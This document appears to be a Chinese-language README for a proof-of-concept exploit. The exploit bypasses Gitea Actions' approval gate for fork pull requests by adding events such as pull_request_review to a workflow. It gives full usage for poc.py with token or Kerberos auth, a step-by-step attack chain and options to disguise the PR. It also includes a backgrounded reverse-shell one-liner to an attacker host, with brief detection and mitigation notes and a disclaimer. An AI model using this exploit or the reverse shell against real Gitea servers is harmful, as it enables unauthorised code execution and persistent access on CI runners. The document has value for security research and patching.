
Gitea 开源 Git 服务器的审批门逻辑存在一个缺陷,允许源自永久复刻(fork)的拉取请求在不满足仓库配置的审批门要求的情况下合并。
严重性: 高 (CVSS 8.9) 受影响版本: Gitea ≤ 1.26.2 修复版本: Gitea 1.26.3 安全公告: GHSA-777r-4v59-6486
Gitea Actions 会对由 fork 拉取请求触发的工作流运行强制执行审批门。该门在 ifNeedApproval() 中实现,旨在防止不受信任的贡献者通过 CI 管道执行任意代码。
缺陷在于 ifNeedApproval() 仅被正确应用于 pull_request 事件。工作流 on: 块中列出的每种事件类型都会生成一个独立的 ActionRun 对象,并带有各自的审批检查。当攻击者扩大 on: 块以包含 pull_request_review、issue_comment 或 pull_request_review_comment 等事件时,这些运行会在未经过审批门的情况下被分发。
触发这些未受保护的事件中的任何一个——例如发布 PR 审查评论——都会立即以 runner 的服务账户身份启动工作流运行,无需维护者审批。
ifNeedApproval() 函数针对 pull_request 事件基于 (repo_id, trigger_user_id) 进行审批检查,但并未在所有可触发事件类型中一致地应用此检查。
漏洞路径:
POST /repos/{owner}/{repo}/pulls/{index}/reviews
-> Gitea creates ActionRun with event=pull_request_review
-> ifNeedApproval() not called for this event type
-> Job dispatched to runner immediately
| 要求 | 说明 |
|---|---|
| Gitea 账户 | 具有 fork 权限的任何已认证用户 |
| 目标仓库 | 必须启用 Gitea Actions |
| Runner | act_runner 必须在线且已注册 |
| 网络 | 攻击者主机必须可从 runner 访问 |
# Minimum
pip install requests
# For Kerberos/Negotiate auth
pip install requests requests-gssapi
通过浏览器: Settings -> Applications -> Generate Token
所需权限范围:repository write + issue write。
通过 API:
curl -s -X POST http://gitea.example.com:3000/api/v1/users/<username>/tokens \
-u "<username>:<password>" \
-H "Content-Type: application/json" \
-d '{"name":"pwn","scopes":["write:repository","write:issue"]}'
运行:
python3 poc.py \
--url http://gitea.example.com:3000 \
--token <token> \
--target-owner <owner> \
--target-repo <repo> \
--lhost <attacker-ip> \
--lport 4444
适用于仅接受 Kerberos/SPNEGO 认证的 Gitea 实例(启用了 SSPI 的 Active Directory 环境)。必须在已加入域且拥有有效 TGT 的主机上运行。
kinit [email protected]
klist
python3 poc.py \
--url http://gitea.corp.local:3000 \
--negotiate \
--target-owner <owner> \
--target-repo <repo> \
--lhost <attacker-ip> \
--lport 4444
如果 DNS 解析失败,请配置 /etc/krb5.conf:
[libdefaults]
default_realm = DOMAIN.LOCAL
dns_lookup_realm = false
dns_lookup_kdc = true
rdns = false
[realms]
DOMAIN.LOCAL = {
kdc = <DC_IP>
admin_server = <DC_IP>
}
[domain_realm]
.domain.local = DOMAIN.LOCAL
domain.local = DOMAIN.LOCAL
--url Gitea base URL (required)
--token API token
--negotiate Kerberos/SPNEGO auth (kinit first)
--cookie Session cookie string
--target-owner Target repo owner (required)
--target-repo Target repo name (required)
--lhost Attacker IP for reverse shell (required)
--lport Attacker port (required)
--runner-label Runner label to target (default: tries common labels)
--detect-label Auto-enumerate runner labels before exploiting
--fork-name Custom fork name (default: <repo>-<random>)
--workflow-name Custom workflow filename (default: ci-<random>.yml)
--pr-title Custom PR title (default: random realistic string)
--review-body Custom review comment (default: random)
--payload-type bash / python3 / nc / custom (default: bash)
--custom-payload Shell command (use with --payload-type custom)
--no-cleanup Leave PR open after exploit
--cleanup-delay Seconds before cleanup (default: 30)
nc -lvnp 4444
1. Authenticate to Gitea API
2. Fork target repo into attacker namespace
3. Enable Actions on fork
4. Inject malicious workflow with bypass events in on: block
5. Remove inherited workflows from fork (prevents runner interference)
6. Open PR: attacker/fork:main -> target/repo:main
7. POST /repos/target/repo/pulls/1/reviews {"event":"COMMENT","body":"..."}
-> pull_request_review event fires
-> ifNeedApproval() NOT called
-> ActionRun dispatched immediately
8. Runner executes payload -> reverse shell as runner service account
默认情况下,act_runner 是单 worker 的。如果反向 shell 步骤未能干净退出,runner 将保持 "running" 状态并忽略新任务。
为避免此问题,请将 shell 放入后台运行:
- name: run
run: |
setsid bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1' &
sleep 1
exit 0
或者使用 --custom-payload 直接传递一个守护进程化的一行命令。
event=pull_request_review 或 event=issue_comment 的 ActionRun 条目pull_request_review 触发器的工作流文件| 措施 | 说明 |
|---|---|
| 升级 | Gitea 1.26.3+ 已修复此问题 |
| 临时方案 | 在存在不受信任贡献者的仓库上禁用 Gitea Actions |
| 审计 | 检查 fork PR 及相关工作流运行中是否有意外执行 |
| 限制 | 将 fork 权限限制为受信任的用户 |
仅用于授权的安全测试和研究。未经明确的书面许可,请勿针对系统使用。